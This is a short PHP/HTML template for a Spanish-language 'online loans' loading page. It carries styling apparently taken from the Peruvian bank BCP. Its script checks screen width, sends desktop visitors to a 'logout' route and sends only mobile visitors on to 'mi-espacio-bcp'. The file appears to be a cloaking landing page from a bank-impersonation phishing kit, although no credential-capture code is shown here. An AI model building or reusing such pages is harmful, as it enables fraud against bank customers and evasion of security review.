<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <base href="<?php echo URLROOTBASE ?>" target="_blank">
    <link rel="icon" type="image/x-icon" href="public/favicon.ico">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="stylesheet" type="text/css" href="public/styles.8972384723.css" />
    <link rel="stylesheet" type="text/css" href="public/estilos.28374234.css" />
    <title>Préstamos en linea</title>
</head>

<body>
    <div id="modalloader1" class="modalloader1 azul ">
        <div class="spinner-container">
            <div class="image" style="top: 52px; width: 25px; position: relative;"></div>
            <div class="spinner"></div>
            <p
                style="text-align: center; font-family: var(--bcp-font-family-primary-regular, 'Flexo-Regular'),helvetica,arial,sans-serif!important; font-size: 13px; color: white; margin-top: 10px;">
                Espere un momento <br> por favor...</p>
        </div>
    </div>
    <script>



init = function(){

    const width = window.innerWidth;   // Viewport width
    const height = window.innerHeight; // Viewport height
    const isMobile = window.innerWidth < 768; // Mobile detection

    console.log(isMobile)
    if(!isMobile){
        location.href = "logout"
        return
    }

    location.href = '<?php echo URLROOTBASE; ?>mi-espacio-bcp'

}

window.addEventListener("load",init)
    </script>
</body>

</html>